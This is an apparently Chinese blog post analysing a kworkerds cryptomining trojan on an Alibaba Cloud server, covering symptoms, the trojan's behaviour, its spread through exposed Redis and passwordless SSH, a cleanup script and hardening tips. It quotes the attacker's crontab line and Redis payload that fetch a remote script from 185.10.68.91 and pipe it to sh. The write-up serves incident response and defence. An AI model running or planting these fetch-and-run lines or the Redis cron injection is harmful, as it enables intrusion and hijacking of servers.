起因很多朋友都在使用阿里云,但遇到过阿里云被植入木马的情况么?小编今天就遇到了。阿里云有自己的安全机制,一般情况下不会有什么问题,那木马又是被怎么植入的呢?今天为您解析。
今天,同事说我负责的模块在阿里云上不工作了,我赶忙远程登录查看。
服务器的症状
1、敲命令的时候,终端的字符回传很快,但是命令的响应时间较长;
2、服务器内存32GB,剩余200MB;
3、CPU跑到了99%;
4、我负责的模块之前一直工作正常,稳定性好,没修改过配置,但现在不能工作;
5、查看我负责的模块配置正常、运行正常,但部分服务出错;
6、top命令未发现有高耗CPU的进程,但是有大量的kworkerds进程。
定位分析
病症1、3、6说明是阿里云服务器已经产生了异常。
根据病症4、5一步步梳理流程,核对日志,定位问题,最终发现,redis可以正常提供服务,但程序无法将数据刷新到redis,导致分别负责读写的两个模块数据长时间不能同步,重启redis后服务正常。但问题需要进一步分析。
查找木马
服务器是与别人共用的,其他的服务,我们不知道是否有用。但服务器卡顿,实在影响调试效率,搜索了一下kworkerds,才知道是个挖矿的木马程序。
查看木马进程数
1[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l
2385
kill掉所有木马进程
1[root@xxx ~] # ps auxf | grep -v grep | grep kworkerds | awk '{print $2}'| xargs kill-9
查看开机启动项和任务
1[root@XXX ~]# systemctl list-unit-files
2(没发现问题,就不贴进来了)
3[root@XXX ~] #cat /etc/rc.local
4(没发现问题,就不贴进来了)
5[root@XXX ~] #cat /etc/crontab
6...
701 * * * * root run-parts /etc/cron.hourly
802 4 * * * root run-parts /etc/cron.daily
90 1 * * * root /usr/ local/bin/DNS
10[root@XXX ~] #crontab -l
11*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
“/etc/crontab”里的内容看起来好像是正常,但是“crontab -l”中显示的内容有些来路不明。
于是下载代码查看
1[root@xxx ~] # (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
2(木马的代码我就不贴进来了)
限于篇幅,木马的代码就不展示在此了,大家可以自行下载查看,记住,下载的时候要把"|sh"去掉,当心玩火自焚。
分析木马
木马脚本写得还是不错的,风格整齐,逻辑严谨。出色地完成了以下功能:
1、删除阿里云云盾客户端和阿里云监控程序;
2、停止、删除主机已经存在的其他挖矿程序;
3、下载挖矿程序和配置文件并执行;
4、约束木马程序,防止触发服务器性能监测工具告警;
5、设置任务计划,保持更新,持续感染主机;
6、通过本机感染其他主机;
7、清空操作日志,篡改文件修改时间,隐藏自己的访问踪迹。
木马中同时用了shell和Python两种脚本,脚本逐层嵌套,对于一些敏感的代码,使用了base64进行加密,针对不同的系统平台有不同的处理,同时锁定了自己修改的文件,防止被别的程序随意修改,提供远程服务的IP地址来自非洲东部的塞舌尔共和国。
木马是如何传播的传播方式
木马传播方式有三种,如下:
1、activeMQ
2、redis
3、ssh的免密码登录
传播思路
木马感染的步骤如下:
1、通过扫描"xxx.xxx.0.0/16"网段内的所有IP的6379和8186两个端口;
2、如果可以连接,那么以key-value的形式写入数据;
1'set SwE3SC "tn*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|shnt"
'
3、将该条数据以文件的形式保存到定时任务的文件目录,如/var/spool/cron/root等;
4、下个定时周期到来时,服务器自动下载远程脚本并执行;
5、遍历该主机可以免密码登录的其他主机,远程连接并执行代码。
远程脚本执行时,会重新修改定时任务等文件,保证可以持续感染主机,同时也隐藏了第一次感染的痕迹。之后每个定时周期到来时,都会重复4、5两个步骤。
排查漏洞
服务器中没有activeMQ,没有.ssh文件夹。小编也根据代码流程,感染了一下自己的redis,但是并没有达到预期的结果。
本人用的redis文件保存的时候是二进制的,不是字符串,根本无法被定时任务执行,但是修改感染脚本,可以完成黑客设置的既定思路。
结合阿里云之前修改过密码的情况,本次感染可能有两种来源:
1、以前发现了被感染,但木马没有被清理干净;
2、木马作者会定期修改自己的代码来感染不同版本的redis,甚至是去利用其它软件的漏洞。
另外一个代码变动的证据就是netstat命令的二进制文件遭到篡改,这显然是为了应对运维人员排查异常网络连接而设计的,但本次检查木马代码时,并没有发现与netstat命令有关的操作。
清理木马
清理过程分两步:删除木马文件和修补当前漏洞。
删除木马文件
根据木马的代码,写了清理脚本,如下:
1#!/bin/bash
2ps auxf | grep -v grep | grep kworkerds | awk '{print $2}'| xargs kill-9
3
4chattr -i /usr/ local/bin/dns /etc/cron.d/root /etc/cron.d/Apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
5echo""> /usr/ local/bin/dns
6echo""> /etc/cron.d/root
7echo""> /etc/cron.d/apache
8echo""> /var/spool/cron/root
9echo""> /var/spool/cron/crontabs/root
10rm -rf /etc/cron.hourly/oanacroner
11rm -rf /etc/cron.daily/oanacroner
12rm -rf /etc/cron.monthly/oanacroner
13
14sed -i '/cron.hourly/d'/etc/crontab
15sed -i '/cron.daily/d'/etc/crontab
16sed -i '/usr/local/bin/dns/d'/etc/crontab
17
18#sed -i '$d' /etc/ld.so.preload
19rm -rf /usr/ local/lib/libntpd.so
20
21#/tmp/.a可以不删,木马是通过此文件判断是否要卸载阿里云盾
22#rm -rf /tmp/.a
23rm -rf /bin/kworkerds
24rm -rf /tmp/kworkerds
25rm -rf /usr/sbin/kworkerds
26rm -rf /etc/init.d/kworker
27chkconfig --del kworker
脚本仅供大家参考,在执行之前还是要对照一下具体的环境。
除此之外,还需要排查一下系统中是否有异常用户,异常的服务和异常的监听端口。毕竟服务器被入侵过,绝不能等闲视之。
修补漏洞
以redis为例,修补漏洞有很多种方法:
1、限制端口,使其对外不可连接;
2、不要使用root运行reids;
3、及时更新软件,修补漏洞;
4、修改默认端口;
6。对重要命令重命名;
。。。
关于这个问题,阿里云也有详细的安全加固方案:
https://help.aliyun.com/knowledge_detail/37447.html
编者的话
黑客一词听起来感觉酷酷的,因为世界上确有一批崇尚用技术实现“开放、自由、真实、平等、美好生活”的人,他们离经叛道,闪闪发光。然而,通常情况下非法获取利益的黑客仅仅是一个小偷而已,喜欢的是不劳而获,而不是技术本身,技术水平也只能是一般。
希望大家从技术交流,防范风险的角度看待文中提供的木马资料,不要走上违法犯罪的道路。从另一个角度讲,信息安全无小事,文中的木马仅仅是挖矿,事实上,该漏洞足以让黑客在你的服务器上做任何事,大家万万不可掉以轻心。